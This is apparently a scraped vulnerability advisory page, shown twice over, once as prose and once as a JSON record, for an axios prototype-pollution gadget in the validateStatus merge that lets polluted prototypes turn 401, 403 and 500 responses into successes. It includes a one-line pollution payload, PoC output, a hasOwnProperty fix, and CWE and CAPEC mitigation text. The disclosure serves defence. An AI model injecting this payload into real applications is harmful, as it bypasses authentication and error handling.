Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why `validateStatus` Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}

4. The Impact

Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:21:39Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.\n\nThe root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript\u0027s `in` operator \u2014 an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() =\u003e true`, all HTTP status codes are accepted as success.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js`\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-287:** Improper Authentication\n\n## CVSS 3.1\n\n**Score: 8.2 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Impact within the application |\n| Confidentiality | Low | 401 treated as success may expose data behind auth gates |\n| Integrity | High | All error handling and auth checks are silently bypassed \u2014 application operates on invalid assumptions |\n| Availability | None | The function works correctly (returns true), no crash |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties.\n\n## Why `validateStatus` Is Uniquely Vulnerable\n\nAll other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator:\n\n```javascript\n// mergeConfig.js:58-64 \u2014 mergeDirectKeys (ONLY used by validateStatus)\nfunction mergeDirectKeys(a, b, prop) {\n  if (prop in config2) {           // \u2190 `in` traverses prototype chain!\n    return getMergedValue(a, b);\n  } else if (prop in config1) {\n    return getMergedValue(undefined, a);\n  }\n}\n\n// mergeConfig.js:94\nconst mergeMap = {\n  // ... all others use defaultToConfig2 ...\n  validateStatus: mergeDirectKeys,   // \u2190 ONLY property using this strategy\n};\n```\n\nThe `in` operator is a **more aggressive** prototype traversal than property access. While `config2[\u0027validateStatus\u0027]` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\n```javascript\nObject.prototype.validateStatus = () =\u003e true;\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\n```javascript\n// Application checks authentication via HTTP status codes\ntry {\n  const response = await axios.get(\u0027https://api.internal/admin/users\u0027);\n  // Developer expects: 401 \u2192 catch block \u2192 redirect to login\n  // Reality: 401 \u2192 treated as success \u2192 displays admin data\n  processAdminData(response.data);  // Executes with 401 response body!\n} catch (error) {\n  redirectToLogin();  // NEVER REACHED for 401/403/500\n}\n```\n\n### 3. The Execution\n\n```javascript\n// mergeConfig.js:58 \u2014 \u0027validateStatus\u0027 in config2\n// config2 = { url: \u0027/admin/users\u0027, method: \u0027get\u0027 }\n// \u0027validateStatus\u0027 in config2 \u2192 checks prototype \u2192 finds () =\u003e true \u2192 TRUE\n// \u2192 getMergedValue(defaultValidator, () =\u003e true) \u2192 returns () =\u003e true\n\n// settle.js:16 \u2014 ALL status codes resolve\nconst validateStatus = response.config.validateStatus;  // () =\u003e true\nif (!response.status || !validateStatus || validateStatus(response.status)) {\n  resolve(response);  // 401, 403, 500 all resolve here!\n}\n```\n\n### 4. The Impact\n\n```\nBefore pollution:\n  HTTP 200 \u2192 resolve (success)\n  HTTP 401 \u2192 reject (auth error) \u2192 redirectToLogin()\n  HTTP 403 \u2192 reject (forbidden) \u2192 showAccessDenied()\n  HTTP 500 \u2192 reject (server error) \u2192 showErrorPage()\n\nAfter pollution:\n  HTTP 200 \u2192 resolve (success)\n  HTTP 401 \u2192 resolve (SUCCESS!) \u2192 processAdminData() with error body\n  HTTP 403 \u2192 resolve (SUCCESS!) \u2192 application thinks user has access\n  HTTP 500 \u2192 resolve (SUCCESS!) \u2192 application processes error as data\n```\n\n## Verified PoC Output\n\n```\n--- Before Pollution ---\n401: REJECTED as expected - Request failed with status code 401\n500: REJECTED as expected - Request failed with status code 500\n\n--- After Pollution ---\n200: RESOLVED as success (status: 200)\n301: RESOLVED as success (status: 301)\n401: RESOLVED as success (status: 401)\n403: RESOLVED as success (status: 403)\n404: RESOLVED as success (status: 404)\n500: RESOLVED as success (status: 500)\n503: RESOLVED as success (status: 503)\n\n--- Authentication Bypass Demo ---\nAuth check bypassed! 401 treated as success.\nApplication proceeds with: { status: 401, message: \u0027Response with status 401\u0027 }\n```\n\n## Impact Analysis\n\n- **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.\n- **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data \u2014 leading to data corruption or logic errors.\n- **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.\n- **Universal Scope:** Affects every axios instance in the application, including third-party libraries.\n\n## Recommended Fix\n\nReplace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`:\n\n```javascript\n// FIXED: lib/core/mergeConfig.js\nfunction mergeDirectKeys(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop)) {\n    return getMergedValue(a, b);\n  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | PoC developed and vulnerability confirmed |\n| 2026-04-16 | Report revised for accuracy |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-w9j2-pvgh-6h63",
  "modified": "2026-05-05T00:21:40Z",
  "published": "2026-05-05T00:21:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42041"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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CWE-1321

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

Details

PoC

Impact

Impact

Patches

Workarounds

References

Recommendation

Summary

Details

PoC

Impact

Solution

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

CWE

CVSS 3.1

Usage of "Helper" Vulnerabilities

Why validateStatus Is Uniquely Vulnerable

Proof of Concept

1. The Setup (Simulated Pollution)

2. The Gadget Trigger (Safe Code)

3. The Execution

4. The Impact

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

CAPEC-77: Manipulating User-Controlled Variables

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Why `validateStatus` Is Uniquely Vulnerable